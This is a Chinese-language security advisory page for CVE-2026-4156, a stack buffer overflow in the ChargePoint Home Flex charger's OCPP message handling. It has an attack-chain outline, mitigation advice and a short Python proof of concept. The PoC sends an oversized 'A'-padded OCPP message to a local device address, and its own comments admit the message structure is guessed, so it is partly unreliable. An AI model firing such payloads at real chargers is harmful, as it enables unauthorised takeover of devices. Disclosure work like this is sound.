IPBUF安全漏洞报告
English
CVE-2026-4156 CVSS 7.5 高危

CVE-2026-4156 ChargePoint Home Flex OCPP栈溢出RCE漏洞

披露日期: 2026-04-11

漏洞信息

漏洞编号
CVE-2026-4156
漏洞类型
栈溢出 / 远程代码执行
CVSS评分
7.5 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ChargePoint Home Flex

相关标签

RCE栈溢出IoTChargePointOCPP高危

漏洞概述

ChargePoint Home Flex电动汽车充电器在处理OCPP消息时存在栈缓冲区溢出漏洞。由于未正确验证用户输入数据的长度,攻击者无需认证即可通过网络邻接攻击触发该漏洞,从而在受影响的设备上执行任意代码,最终以root权限控制系统。

技术细节

该漏洞的根源在于ChargePoint Home Flex设备对OCPP(开放充电协议)消息的处理逻辑,具体涉及`getpreq`指令。在解析来自网络的数据包时,程序未对用户输入的长度进行严格校验,直接将其拷贝到固定大小的栈缓冲区中。由于攻击者可以控制输入数据的长度,通过构造超长数据包即可覆盖栈上的返回地址或其他关键数据。鉴于CVSS向量显示无需用户交互且无需认证,位于网络邻接的攻击者可轻易利用此漏洞。成功利用后,由于服务进程运行在root上下文中,攻击者将获得设备的最高控制权限,实现远程代码执行。

攻击链分析

STEP 1
侦查
攻击者在本地网络中扫描识别ChargePoint Home Flex设备。
STEP 2
构造载荷
攻击者构造包含超长数据的特制OCPP消息,旨在触发栈溢出。
STEP 3
发送请求
攻击者通过网络邻接向目标设备发送恶意消息,无需认证。
STEP 4
执行代码
漏洞被触发,缓冲区溢出覆盖返回地址,攻击者以root权限执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target IP of the ChargePoint Home Flex target_ip = "192.168.1.10" target_port = 80 # Typical port for OCPP over WebSocket # Generate payload to trigger Stack-based Buffer Overflow # The specific length depends on the buffer size, this is an example buffer_size = 600 payload = b"A" * buffer_size # Construct malicious OCPP message (Simulated structure) # Assuming the vulnerability is triggered in the 'getpreq' handler malicious_msg = b"[2,\"unique_id\",\"GetPreReq\",{\"data\":\"" + payload + b"\"}]" try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send malicious payload s.send(malicious_msg) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}")

影响范围

ChargePoint Home Flex (具体受影响版本请参考厂商公告)

防御指南

临时缓解措施
由于无需认证即可利用,建议立即将设备隔离在受信任的局域网中,并严格限制入站连接。同时密切关注厂商的固件更新通知,第一时间进行升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表